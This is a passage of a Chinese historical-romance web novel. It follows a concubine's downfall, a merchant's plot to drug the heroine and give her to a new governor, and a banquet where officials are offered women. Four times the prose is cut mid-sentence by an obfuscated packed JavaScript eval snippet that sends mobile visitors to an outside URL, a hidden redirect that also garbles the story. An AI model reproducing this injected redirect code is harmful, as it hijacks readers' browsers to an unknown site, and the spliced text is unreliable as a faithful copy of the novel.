陆老夫人继续道：“我们若只是寻常商家也就算了，你又执意要做那些事，这些年我本就处处提心吊胆，她还如此行事，让我怎么能放心？她这次必须走！” 吴娘子被锁在屋子里，独自一人坐在窗前，看着太阳落山，看着月亮升起，却无知无觉，只陷在回忆里。 她想起第一次见陆志远，他赞道：“小娘子当真舞姿曼妙，翩若惊鸿。” 想起他要替她赎身，温言对她笑道：“你随我回家吧，我一定好好待你。” 想起他原配去世不久，他便承诺她：“等丧期满了，我就将你扶正，以后你就是我的夫人。” 那么许许多多过往甜蜜的日子，却是说消散就消散的。她曾感谢老天爷，尽管让自己前半生吃了那么多苦，可后来让她遇到了陆志远，就是待她不薄了。 可她现在又恨起了老天爷，为什么平白无故要插一个周梨进来，如果不是她，一切都还是原来的样子，哪里需要她做那些恶毒的事情？ 她一会伤心，一会怨怼，泪水滑落在脸颊，腌得伤口刺痛，她却喜欢这痛感，好像能转移她内心的痛苦。 “吱呀”一声，门开了，吴娘子回头，才发现屋子里一片漆黑。灯笼的火光从门前探进来，她才看清是陆志远走了进来。 陆志远放下食盒道：“饿了吧，先吃点饭。” 吴娘子却将食盒推开，急急拉着陆志远道：“老爷，老夫人真要把我发卖了吗？” 陆志远摇头道：“我求了娘半日，她同意将你送到乡下的庄子里去。” 吴娘子惊恐地看着他道：“老爷也打算送我去？” 陆志远安慰道：“娘已经是在退让了，你明天先过去，等娘气消了，我再接你回来。” 吴娘子心凉了半截，明白自己如果真的去了，只要老夫人在一日，她就绝无回来的可能。 她一把将食盒推翻在地，第一次反抗道：“我不要去！她怎么可能气消？多少年了，她嫌我出身卑贱讨厌我，任我如何费尽心机侍奉讨好她，她可曾有过一起改变？这下有了由头，怎么会让我回来？” 陆志远从没见过他这个样子，好像看陌生人一般看着她，吴娘子笑道：“怎么，不温柔和顺，老爷就不认识了？” 她头发散乱，脸上还有血迹，伴着这笑容，在灯笼的映衬下，显得有些瘆人，陆志远耐住性子，拉住她的手道：“听话，我跟你保证，不出三个月，我一定接你回来。” 吴娘子笑看着他似乎满是真诚的眼睛，甩开他的手道：“我不信你，你从前也是这样跟我保证，一定会将我扶正的。现在如何呢？” 陆志远不可置信道：“原来你一直在怨我吗？” “难道不能怨你吗？我满心满眼都是你，我尽心服侍你，为你生儿育女，学着操持家务，学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205365|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着看账本打理铺子，哪样不是想为你分忧解愁？甚至拉来我的亲哥哥，为你做最见不得光的事情。”吴娘子哽咽道，“可是你呢？转头就要娶别人，比我年轻漂亮，还得老夫人喜欢。她又比我高贵到哪里去了，为什么她就能是夫人？” 陆志远觉得她不可理喻：“我要娶周梨的事情，不是都跟你解释过，是迫不得已。我哪里能看得上她？难道我这些年对你不够好吗？” 吴娘子讽道：“只闻新人笑，那问旧人哭。人心难测，你在外面逢场作戏那些我无所谓。可娶在家里，日日相对，瞧她也是个聪明的，又有老夫人撑腰，说不着哪天你就喜欢她了。最重要的她是夫人，我呢，只是个妾。” 陆志远沉声道：“既然心里有这么多不愿意，为何不直说？非要这样当面一套，背后一套？” 吴娘子又苦笑了两声：“做小伏低惯了，哪敢由着性子说话行事！再说，我说出来能改变什么吗？” “所以就背后破坏？周梨被劫持的事真是你们干的？” 吴娘子也懒得再说谎：“是呀，都是我干的，又如何呢？” 陆志远皱眉道：“娘说的没错，是我纵得你胆大妄为，一开始就不该让你掺和到这些事情里来。” 吴娘子没再回话，她把憋在肚子里的话都说了出来后，觉得心里畅快了许多，默默坐回了椅子上，转头向窗外看去。 陆志远又道：“明早我送你去，待会再让人给你送些吃食来。” 吴娘子还是没应声，陆志远也不再自讨没趣，甩袖转身就走。 这时陆良匆匆跑进来寻他，鬼祟地朝里面看了眼，准备悄悄告诉他。 陆志远正在气头上，不耐烦道：“有话直说！” 陆良这才吞吞吐吐道：“李武他媳妇在后门撞了头，还不知死活。” 吴娘子听到猛地冲过去抓住陆良问道：“你说什么？怎么就撞了头？” 陆良又看了眼陆志远，说道：“李武被抓走了，他媳妇刚刚来叫门，求老爷救人，但后门的人说老夫人吩咐了，不准他二人再进府，也不准传信。他媳妇哭诉半天，没人搭理，就一头撞在了门上，头破血流。” 吴娘子颤抖着问道：“人在哪里？在哪里？”还不等回答，就要往外去找，却被陆志远一把抓住。 陆良小声道：“抬回去了，老夫人说不能死在府里，但已经派人请陈大夫去医治了。” 吴娘子听了竟笑出了声，转头望向陆志远，眼里有说不出的恨。 陆志远却无暇顾她，只问陆良道：“知道哪个衙门抓的李武吗？” 陆良答道：“后门的说好像听到嚷嚷的巡抚衙门。” 陆志远暗自心惊：“怎么又是巡抚衙门？李武媳妇怎么又急成这样？” 正想得出神，吴娘子却突然挣脱开他的手，向黑暗中跑去。他看着她的背影融入黑夜，却没有去追，他知道她要去哪儿，也知道她哪儿也去不了。 24. 告诫 周梨坐着马车回到白衣巷时，已近黄昏，家里却静悄悄的，似乎没有人。她一路单脚跳回了寝屋，又觉得哪里不对，放下扭伤的脚，走了两步，其实也没疼得那么严重。她不禁自嘲，果然被关心呵护过了头，人都会变得矫情些。 她缓缓坐下，从怀中掏出顾临的帕子，仿佛还留有他的气息。上面只简单绣了几根竹子，她却呆呆望了半晌，直到听见院子里有人进来，才回过神将帕子放下。 张兰瞧见她的房门开着，走进来道：“阿梨，你回来啦？” 郑氏跟着走了进来，两个小娃也往里伸了伸脑袋，可儿说：“小姑姑，刚刚大姑姑跟舅妈打架了。”才说完，就被秀珍一手一个拎走了。 周梨这才瞧见张兰头发有些散乱，脸上还有抓痕，领口都有些被扯烂了。周梨忙问道：“是为了我的事吗？” 张兰气道：“我竟今日才知道这事，你怎么能答应呢？还有娘，你们怎么能不拦着呢？” 郑氏只在一旁坐下，有些羞愧地低下头，没吭声。 周梨道：“毕竟事情是因我而起，总不能真的不管他们吧。而且没事的，就算嫁了也没什么好委屈的。” “什么因你而起，不是他自己滥赌，能摊上这件事吗？你为他们想，可那梅香又是个没有良心的，她哪能记你一点好？”张兰在周梨身旁坐下，拉起她的手，“而且怎么不委屈？他陆志远哪里配得上你，还用这么下三滥的手段。” 周梨伸手拿了药罐，打开给她抹了点药才道：“姐姐，你就别操心了，何苦又去跟人打一架，他们能改变什么？这样倒闹得嫂子又两边为难。” “这可是你的终身大事啊！我能不操心吗？想当初要不是你和你爹，我们一家子早死的死，散的散，现在不但不能报答你们的恩情，却还要你为了我们被逼着出嫁，你让我心里怎么过得去？” 张兰一股脑将藏在心里的话都说了出来，郑氏也摇头叹息，不知如何是好。 周梨赶紧往外看了眼，确定没人才小声对张兰道：“你们收留我，给了我新的身份，我才能再像普通人一样过日子。你们为我担了天大的干系，这份恩情才是我还不清的。但这些旧话以后一个字都别再提了，万一有心之人听了去，不敢想会是怎样的后果！” 张兰吓得捂嘴点点头，才发觉自己疏忽大意，讲了不该讲的话。 周梨又去拍拍郑氏的手道：“舅妈，你们放心，我不会真嫁过去的。你还记得我认识那位大人吗？他答应了会帮我的。” “真的？”郑氏有点不敢相信这个好消息。 张兰却懵懵地问：“哪位大人？新来的巡抚吗？” 周梨点点头，又安抚了好久，二人才放心地走出了房门。 周梨回头又看了眼那方帕子，暗暗告诫自己，别再越陷越深了，不可能的。 华灯初上，冯珂在秦府大门口，又抬起一脚，踢飞了不知第多少个小石子后，终于看到秦皓带着秦关回来了。 她忙跑过去气鼓鼓道：“怎么这么久，告诉周梨了吗？” 秦皓心不在焉道：“她已经知道了。” 冯珂问道：“知道了还要嫁吗？不过嫁不嫁关我什么事！哼，我才不关心。” 秦皓没有回答她，继续向前走着，一副失魂落魄的样子。 他在陆府大闹了一场后，按约定去巡抚衙门找顾临。却远远瞧见顾临抱着周梨走出来，把她送上了马车。周梨看着顾临的眼神，是他从未见过的，至少他不记得周梨曾经这样看过他。 他有种说不出的难过，好像真的完完全全失去了周梨，又好像从来没有得到过。 冯珂一把拉住他恨恨道：“早知道你这个样子，我就不该告诉你！” 秦皓随口道：“是啊，你为何要告诉我呢？” 冯珂道：“虽然我很讨厌她，可我既然知道了有人要害她，不说不就不坦荡了吗？” 秦皓听了这话，看了冯珂一眼，觉得有些好笑，对她道：“她说谢谢你。” 冯珂翻了个白眼：“谁要她谢？她都知道了还要嫁，还谢我干嘛？” 秦皓道：“谢谢你的好意吧。” 冯珂见他似乎好了些，拉着他往里走道：“别提她了，娘还等你吃饭呢，她今天亲自下厨，做了你最爱吃的红烧肉，还教我做了道菜，你也尝尝我做的怎么样？” 说完顿了顿，转身对秦皓笑道：“你是不是完全不记得今天什么日子了？” 秦皓确实愣住道：“什么日子？” “你生辰啊，傻子！”冯珂开心地拍了他几下，继续往前走道，“俗话说‘儿的生日娘的难日’，待会多给娘说点好听的，哄她高兴高兴……” 秦皓任凭冯珂拉着他往前走，听着她唠唠叨叨，府里各处都点上了灯，他娘正在最亮的地方等着他。 他想起周梨说的，“你刚才的作为，置你娘于何地？置冯珂于何地？又置我于何地？”。 他突然觉得无地自容。他怎么如此自私？从前，现在，他秦皓到底对得起谁？ 既然早已做了选择，就该知道后悔也没用的，补偿不了任何亏欠，还会伤害更多的人。 马齐忙了一下午，一碗饭风卷残云般就下去了，盛了第二碗正要吃，却见平安托着腮，食不知味，几乎没动筷子。他悄悄问程顺：“他又怎么了？” 程顺瞥了眼平安道：“坏了大人的好事，自己害怕了。” 马齐还没问出口，朱妈端了一锅汤上来，抢着问道：“大人什么好事？” 平安无奈叹了口气，程顺道：“大人正给周姑娘擦眼泪呢，他咋咋呼呼给打断了。” 朱妈恨得打了平安一下：“哎呀，叫我怎么说你！这说不定擦着擦着就捅破窗户纸了，你真坏事！” 平安懊恼道：“我也不想啊，大人到现在没跟我说话呢！” 朱妈也惋惜道：“怎么又把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209457|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人送走了呢？又浪费了我这锅汤。” 马齐打趣道：“朱妈你也太偏心了，周姑娘来你就费心做好吃的。” “你们平时吃得少了？周姑娘那样瘦，我才多给她补补。你们一个个这样壮了，还要补什么？”朱妈瞪了他眼，“不过大人晚上也用得少，不知是胃不舒服了还是被平安气的？” 平安烦忧地放下了筷子：“朱妈，你就别吓我了，烦死了！” 朱妈道：“我才烦呢！我欢欢喜喜把周姑娘房间又重新打扫了遍，还以为大人接周姑娘回来常住了呢！” 马齐道：“你想什么呢？没名没分的常住这算什么呀？怎么也得一顶轿子抬进来吧！而且大人还没娶夫人，先有个妾在身边不合适。” 朱妈问道：“就不能娶周姑娘做夫人吗？” 马齐又扒了几口饭，咽下去才道：“朱妈，你是不是对大人的身份有什么误解？就说大人以前定的亲事，那位卢小姐的父亲，当时可是朝廷的三品大元，那还是大人考中进士前，更别说现在了。而周姑娘呢，还是寄住在别人家的孤女，就算是真的给陆家做填房，别人也觉得是她高攀了。更别说士农工商，大人是在最前面，陆家排在最后，你想想周姑娘跟咱大人的差距有多大，怎么可能做夫人呢？” 朱妈也叹了口气：“哪来那么多弯弯绕？就你们这些读过书的规矩多，我们乡下可没那么多讲究，两个人互相喜欢不就最好？” 马齐晃着脑袋道：“所以自古都说你们岭南是蛮夷之地，未受教化！” 朱妈一把抢过他的饭碗：“有本事别吃我这蛮夷做的饭！” 马齐双手合十，求饶道：“自古说的，可不是我说的，朱妈，我错了，错了。” 朱妈气愤地把饭碗还给他：“你们那教化不受也罢，条条框框把人框得不得动弹，有什么意思？” 程顺笑道：“朱妈说得好！我觉得也是。” 朱妈一听眉飞色舞地跟程顺击了个掌。 平安见他们说得开心，暂时忘了忧愁：“我现在是真的觉得，大人有些喜欢周姑娘了，但周姑娘是不是喜欢那个秦指挥呀？大人要爱而不得，可怎么办？” 马齐笑道：“简直比话本子还有意思！” 朱妈道：“怎么可能！我不会看走眼的，周姑娘要不喜欢大人，我这么多年饭都白吃了。” 平安道：“我家大人长得好，从小就招姑娘喜欢是没错。但凡事有个先来后到，周姑娘先认识秦指挥，喜欢了秦指挥，也不是见到了咱大人，就说变就变的啊！” 这时门被推开，顾临道：“程顺，你带人去把李武家围住，那背篓客今日进了城还未出去，估计会趁天黑了去找李武，一旦两人会面，就一起带回来！” 程顺起身抱拳称是，顾临点了点头就转身走了，平安心存侥幸地问道：“大人应该没听见我说的话吧？” 几人都转过头，表情古怪地看着他，没有说话。 25. 设宴 吴娘子根本无力出得陆家大门，还是在第二日一早就被送去了乡下的庄子，并没有见到嫂子王氏一面。王氏虽流了不少血，但好在陈锡山医治及时，并没有伤及性命。 陆志远在王氏醒来后，才得知李武和程鹏是被一起抓走的，不禁大惊失色，匆匆求见王雄商量对策。 王雄怒斥陆志远道：“怎么最近错漏百出，本官不得已才帮你解决了一个，现在怎么连老窝也要被端了？” 陆志远忙赔罪道：“道台请息怒，都是小人的错！” 王雄吸了口气，冷静了些道：“不过当务之急，是把人给救出来，否则我们多年经营可能毁于一旦啊！” 陆志远附和道：“道台说得是！” 王雄问道：“可被拿了什么实证？” “没有。” “程鹏去找李武有什么事情？不是交代他们只能在仁安堂传递信息，不得私下会面吗？” 陆志远支吾不过去，只得把李武可能私联程鹏，顺带将周梨掳了的事情交代了，另外把昨日裕和酒楼的事情也顺带说了，因为王氏告诉他来抓人的，昨日在客栈，她也见到了。 王雄气道：“原来都是你内宅不宁闹的！娶个填房妾还不答应，简直笑话，你连两个女人都治不了，还怎么共谋大事？” 陆志远不敢出声，心里不免对吴娘子怨怼起来。 王雄也沉默着琢磨了半天，突然问道：“你那要新娶的填房，是不是住城南白衣巷？” 陆志远奇道：“是，道台如何知道？” 王雄嗤笑一声，他怎么知道？ “顾临并未带女眷来任上，昨日我看他马车里有个女人，便派人去打探。顾临抱着那女人进的府，几个时辰后才亲自抱出府，送上了马车，我的人跟着马车，看那女人回了白衣巷。” 按陆志远说的，那他昨日遇上顾临，应该就是顾临带着那女人，刚从裕和茶楼出来，不全对上了嘛！ 陆志远还有什么不明白，自觉周梨已归自己所有，不由脸都绿了：“这女人竟如此不知廉耻！” 王雄倒是有点想不通：“既然都勾搭上顾临了，又为何答应做你填房？” 陆志远不得已，又老实交代了自己私下使了点手段。 王雄直指着他摇头道：“叫我怎么说你，做的都是些什么事？这不明摆着跟人抢女人吗？能给你好果子吃？” “小人也不知她跟顾大人有这层关系啊！”陆志远还是不敢确信，“但这事真的是为了一个女人吗？既然喜欢为何不明言，我还敢跟他抢不成？” “你不懂，十几年圣贤书不是白读的，大多都成了假道学，伪君子，有些事就是送上门，他们还要假意推辞几番，才不得不受的样子，哪里会明面上跟你要？” 陆志远还是不太相信：“但真的一个女人就能解决这么大事情？” “这官场上，有什么事是不能大事化小，小事化了的？这么些年，永州附近大大小小这么多官员，有几个是一点油盐不进的？要么为钱，要么为权，为着女人的也是不少，只要投其所好，什么都好办。他顾临难道就不识好歹，非要跟其他人做对不成？”王雄笑说道，“只是我原先还以为，他新官上任三把火，总要装模作样一段时间，没想到为了一个女人就沉不住气，还是太年轻啊！” 王雄说完见陆志远半天没回应，沉声问道：“该怎么做还要我教你吗？” “只是大人我要娶这女人，实是为了避灾躲祸，何况请柬都已经发出去了。”陆志远解释道。 王雄恨铁不成钢：“你现在遇到的就是最大的灾祸，不避了这个，后面可没机会去躲别的灾祸。面子大还是命大？况且你请柬上难道写了新妇名字不成，实在觉得脸上无关，另找个人把堂拜了不就行了。再说，男人之间互赠姬妾，从来都是传为美谈的” 陆志远被训得连连称是，王雄才满意了些，又思索了一番道：“这样，明日我设宴请他来，你也来作陪，献上该有的诚意，其他应当就好说了。” 陆志远再不敢说一个不字，事情就这样决定了下来。 第二日午饭后不久，徐妈妈敲响了周梨的门，笑道：“姑娘，老夫人请您去喝茶，要再给您添几身新衣裳！” 周梨并不如往常般还跟她客套，只回绝道：“谢谢老夫人，不必了。” 徐妈妈却依旧笑道：“周姑娘不要任性，答应给郑家的银子还没送去呢，您要不去，老太太要一个不高兴，银子给晚了，郑家兄弟少了胳膊缺了腿，可不是玩的。” 周梨看着秀珍一脸惊慌的样子，不得不跟着徐妈妈去了。 她心里清楚，请她去肯定不是为了做衣裳，但应该也不至于明目张胆地害她。她琢磨了各种可能，可当她一瘸一拐，走入徐妈妈引进的房间，被要求沐浴更衣时，还是太出乎意料。 周梨想反抗，可被四五个丫头婆子摁着，着实打不过，只得屈从。等洗浴完，丫头打开妆奁给她盛装打扮时，她趁机拿了支最锋利的簪子，藏在了袖子里。 她穿戴整齐，被涂脂抹粉折腾了半日后，徐妈妈仔细打量了番，冷嘲热讽道：“倒真是个难得的美人，难怪这么招蜂引蝶！” 周梨问道：“你们到底要做什么？” 徐妈妈依旧阴阳怪气：“恭喜姑娘飞上枝头，我们这座小庙供不起您这尊大佛，但也不要忘了我们送您去的情谊！” “你什么意思？送我去哪儿？”周梨越发听不懂？ 徐妈妈笑道：“自然是去侍奉贵人啊，姑娘几次三番拒掉婚事，怕就是看不上我们商户人家吧，如今能攀上高枝，也得偿所愿了。” 周梨觉得不可思议：“你们凭什么送我去侍奉人？” 徐妈妈道：“哟，这会装什么，早干嘛去了？平时不勾三搭四，我们又何苦受这个气！” “放我走，否则我真要报官了！”周梨看她不可理喻，站起来就要往外跑。 “快拦住她！”徐妈妈忙喊了声，丫头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214613|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆子们立马堵在门口，把周梨团团围住。 周梨转身瞪着她道：“你们也太胆大包天了些，真当没有王法了吗？” 徐妈妈见她不似作假，疑她大概还是对秦皓旧情难忘，怕她坏事，唤来个丫头去通报了陆志远。 陆志远听了丫头如此回报，抓起桌上的茶壶就砸了出去。他好不容易说服了他娘，王道台那边宴席已然备好，箭在弦上，这贱人却不愿意，这事要办不了，日后在王道台面前，哪里还能有半点颜面？ 一旁陆良见状却进言道：“老爷，如此说来，那位顾大人还未得手啊，若真让咱们促成了这事，他定会领这个情的。” 陆志远闭眼揉着太阳穴道：“我何尝不知道，可她不愿意，我又能如何？” 陆良小声道：“老爷，您忘了上次李武给您弄来的宝贝？” 陆志远忽然睁开眼睛，感到豁然开朗。 陆良继续道：“到时候她自己稀里糊涂成了好事，生米煮成熟饭，她又能怪谁去，她还敢告那位大人不成？有了这好去处，她该对老爷感恩戴德才是。” 陆志远终于阴鸷地笑了起来。 不一会儿，丫头将一颗药丸送到了徐妈妈手里，并传话务必让那贱人服下。 日头已快落山，门口石狮子的影子躺得老远，程顺和马齐一左一右，将马车赶到了大门口，等着顾临出来。 马齐看看程顺单薄的衣服道：“你也不多穿点？媳妇不在身边，自己就没个打算，看看我！”说完扯了扯自己的衣服。 程顺翻了个白眼：“哪就那么冷了？也不嫌热得慌，春捂秋冻懂不懂？” 马齐“嘁”了声：“好心当做驴肝肺，你看着吧，夜里凉的时候你就知道我的心了！” 程顺笑道：“真要凉，也到半夜里了，那时候早在被窝里了。” 马齐道：“你怎么脑子也越来越不灵光了，被平安传染了不成？大人来永州，还是第一次去赴宴，能回来得早才怪！” 程顺道：“大人又不爱应酬，这不是没办法才去的？我们在广东时，哪次宴席大人不早早辞了回来？” “所以说你不灵光呀，这永州的情况能一样吗？大人在这要做的事又一样吗？大人再怎么不喜欢应酬，该有的面子都要做足，该笼络的人心都得笼络，今天这个夜长着呢！”马齐语重心长道。 程顺听了倒也点了点头：“有些道理。” 马齐很满意，接着又道：“别的都还好说，就怕他们又送美人给大人！” 程顺这回倒是心领神会地笑了，马齐也跟着笑了起来。 正笑着顾临走了出来，平安拿了他的披风跟在后面，顾临边上马车边问道：“笑什么呢？” 马齐也没什么顾忌，脱口就道：“我们在说今晚可别有人再给大人送美人了，大人要绞尽脑汁拒绝不说，又要有人猜测您不好女色，恐怕好男风了！” 说完几人都大笑起来，程顺驾起马车向兵备道王雄府邸驶去。 26. 红烛 王雄府邸今夜灯火通明，大门前车水马龙，永州城内的权贵大抵携家眷云集于此，自然都为了新任巡抚私下场合的首次亮相。 王雄原本同夫人一起在院内迎候宾客，听到家仆来报，匆忙跑至大门前恭迎顾临大驾，看到的官员也纷纷围过来作揖行礼。 前后马车里的女眷，下车时也都不住往这边好奇张望，见被围在中间的年轻男子俊逸出尘，气度不凡，夫人们都投去赞赏的目光，年轻小姐们只敢用眼角余光偷瞧，看到其人的都不觉害羞起来。 顾临神色自若，在万众瞩目中众星拱月般被请入了席中。主客既已落座，其他宾客也都相继被安排在了合适的位次上，彼此攀谈起来。 男女分席，女眷席面皆安置在后院，情形自与男宾这边不同。这样的交际宴席对他们来说，与平常并无两样，不过对尊贵的夫人小姐多奉承几句，与交好的姐妹聊些近日永州趣闻，只是今日话题左右总绕不开，那位新来的年轻俊俏的大人。 知府邢夫人有些炫耀道：“你们瞧见巡抚大人没？我家老爷说新来的顾大人如何年轻有为，行事果决，风度非凡，我还不信。今日一见，果然好看。” 在座夫人们都笑了起来，兵备道王夫人打趣道：“邢知府说了那么多好处，您怎么就看见了个‘好看’？” 邢夫人笑道：“我一个无知妇人，可不就能看见表象。” 同知汪夫人道：“可惜我来得早了，无缘得见，当真如邢夫人所说？” 永州卫指挥使冯夫人接道：“确实风流倜傥，我在门口也瞧见了。” 汪夫人笑问道：“比你女婿秦指挥如何？” 冯珂在旁边席上朝这边看了一眼，冯夫人笑道：“那可不敢比。” 王夫人笑道：“冯夫人太谦虚了，秦指挥是威风凛凛的武将风范，顾大人是风度翩翩的文人风采，各有所长。” 冯珂骄傲地扬了扬脖子，汪夫人掩嘴笑道：“还是王夫人会说话！” 邢夫人四处瞧了瞧，见都是眼熟的面孔，才想起来问道：“顾大人竟没带夫人来吗？” 王夫人摇了摇头。 通判张夫人也问道：“夫人没有带来任上吗？”否则今天这个场合不可能不来的。 王夫人一脸神秘道：“你们竟都不知道顾大人还尚未娶妻吗？” 夫人们都惊讶不已，张夫人继续问道：“顾大人多大年纪了？” 王夫人不确定道：“好像有二十七八岁吧。” 邢夫人道：“如此品貌，这个年纪竟还没成婚，也不知为何，真是少见！”夫人们纷纷应和，家里有女待字闺中的也都打起了算盘，注意这边动静的小姐们听了，也都有了些心思。 男宾席上觥筹交错，言笑不绝，酒过三巡之后，更是宾主相欢，不禁都随意起来。 杨鸿起身又向顾临敬酒道：“顾大人英明，上任不过短短数日，竟就能让折梅亭并入龟尾角税关，解决了种种弊端，下官着实佩服！” 顾临端起酒杯一饮而尽，笑道：“杨守道谬赞，多亏守道鼎力相助，事情才如此顺利，我先干为敬。” 邢洵也起身敬酒：“我也敬顾大人一杯，如此过往商税可是多了不少啊，民兵才能招募起来，下官也多谢大人！” 顾临又举杯饮尽：“邢知府客气了，民兵后勤供给诸多事宜，还要多烦您劳心。” 王雄见其他人也跃跃欲试，要举起酒杯，忙阻止道：“你们这个喝法，是要灌倒顾大人吗？” 说着笑对顾临道：“顾大人就算是海量，也不能这样喝，莫不是想装醉早点离席？” 顾临也笑道：“岂敢！” 这时陆志远站起来道：“诸位大人，可否容小人说一句？” “有话直说就是。”王雄说完才向顾临道，“顾大人，这位是本地首富陆志远，陆员外，平日里捐钱捐物，为百姓们建桥修路，做了不少善事。” 顾临客气道：“久仰陆员外大名！” “不敢当不敢当！”陆志远忙欠身作揖，而后才道：“大人们如此开怀畅饮，虽然都尽兴了，却太过易醉，倒辜负了这相聚的大好时光。” “陆员外有什么好提议呀？”冯仑心直口快，见到陆志远也在这宴席上，又跟王雄一唱一和，还有什么不明白，定是要做些什么讨好顾临。 陆志远忙谦恭道：“不敢不敢，永州近年来都不太平，大人们平日里公务繁忙，无心玩乐，如此宴饮机会本不多。今日为迎顾大人新任，小人特意带来了歌舞伎，大人们边喝酒边欣赏歌舞，岂不更热闹？” 因为匪乱不断，百姓深受其扰，官府却束手无策，官员们即使时有宴席，也都低调行事，鲜少会安排鼓乐笙歌。 王雄赞道：“陆员外有心了，倒是我疏忽不曾想到，招待不周了，想必各位也许久没听丝竹管弦之音了，顾大人以为如何？” 顾临自然不会扫兴：“客随主便。” 其他人理所当然也都连声附和，陆志远见如此，笑着向远处拍了拍手。 顷刻间，一群盛装打扮的舞姬鱼贯而入，训练有素地摆好开场舞姿，乐声一起，水袖翻飞，个个身轻如燕，妙舞飞扬。 众位大人不禁拍手叫好，陆志远却暗中观察顾临神色，不过应付地看了一会，便与身旁的邢洵说起话来，料想他对此并无什么兴致。 几曲舞罢，陆志远又唤上来四位美娇娥，只其中一位抱着琵琶，他问顾临道：“顾大似乎不喜欢刚刚的舞，不如再听个琵琶如何？” 顾临笑道：“哪里，陆员外别见怪，是在下对舞乐之道并不在行，不懂品鉴罢了。请琵琶吧，在座自有会品鉴之人” 陆志远回头示意，琵琶“嘈嘈切切”响了起来，另三位美人袅娜地走到桌前，斟酒赔笑，席间一时热闹起来。 不远处的马齐，看到最美艳的那位殷勤地立在顾临身侧倒酒，不禁又捣了捣程顺，两人相视会心一笑。 在座的大人们哪一个不是人精，看见如此美人被安排在顾临面前，都不言自明，相互读懂了眼神。 美人羞怯怯斟满酒，递与顾临道：“大人若不嫌奴家粗鄙，请满饮此杯。” 顾临此时已喝了不少酒，有些微醺，以为只是单纯劝酒，并没反应过来此话的深意，客气道：“姑娘貌美，何必自谦。”说完接过酒杯，仰头便饮尽了。 大人们多是个中好手，哪能不理解其中意思，见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228950|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状都喝起彩来，达官贵人们谁没个三妻四妾，对这等风流韵事自是喜闻乐见。 王雄皱眉看了眼陆志远，显然事情跟他交代的不同，但顾临要喜欢这个，倒也无妨。 陆志远也松了口气，他只是想最后一试，美人计而已，美人哪里没有，找个比周梨更好看的，如果可以，他还可以留着周梨驱灾避祸。如果不行，他再献上周梨就是。 而在这欢呼喜悦的气氛里，唯有秦皓鄙夷地望着顾临。 那美人原以为要她来伺候的，不过她惯见的那些大腹便便的老头子，乍一见顾临如此年轻俊秀，不觉喜出望外，若伺候好了，能长久待在这位身边，可不是条极好的出路？ 此刻顾临接了她的酒，还夸她貌美，她如何不心旌摇曳，两颊绯红，含羞带怯之态，让她更动人了几分。座上如邢洵、杨鸿这些不好女色的官员也不禁心中感慨：“如此尤物，也难怪顾临欣然接受，果真英雄难过美人关！” 席上有些好色的官员，见顾临如此，也不再装模作样，跟另两个陪酒的美人调情起来，一个手快的已将美人揽入怀中。 伺候顾临的美人见状，左手拿起酒杯，右手拿起酒壶，也打算坐到顾临怀里，给他喂酒。顾临纵是刚刚不清楚情况，见众人如此反应，哪里还能不懂？ 他见那姑娘动作，躲闪已来不及，只得伸出手臂挡了一挡。那美人始料不及，吓得酒壶从手中滑落，酒水全撒在顾临身上后，落在地上“砰”的一声响。 琵琶声也戛然而止，整个厅堂里都沉寂下来，皆朝顾临这边望过来。那美人已瑟瑟发抖跪倒在地，顾临起身将她扶起道：“是在下让姑娘误会了，恳请姑娘原谅。” 美人梨花带雨，还未回应，王雄已喝道：“还愣在那里做什么，快下去！” 美人们哪里还敢停留片刻，以迅雷不及掩耳之势撤了下去。 陆志远立马作揖赔罪道：“都是小人办事不周，还望大人们恕罪。” “你是该备个大礼给顾大人赔罪。”王雄斥责道。 陆志远回道：“王大人说的是，大礼我早已备下。” 顾临笑道：“无妨，是在下的错。” 他正欲就此告辞，王雄却仿佛看出他的意图，阻拦道：“顾大人，若是真不怪罪，就在府里更个衣吧，秋日夜里寒凉，府里都有备着的干净衣裳。”这原本才是他们的计划。 顾临不好推辞，只得跟着王府仆从，行到后院厢房，一路引起不少夫人小姐注目。 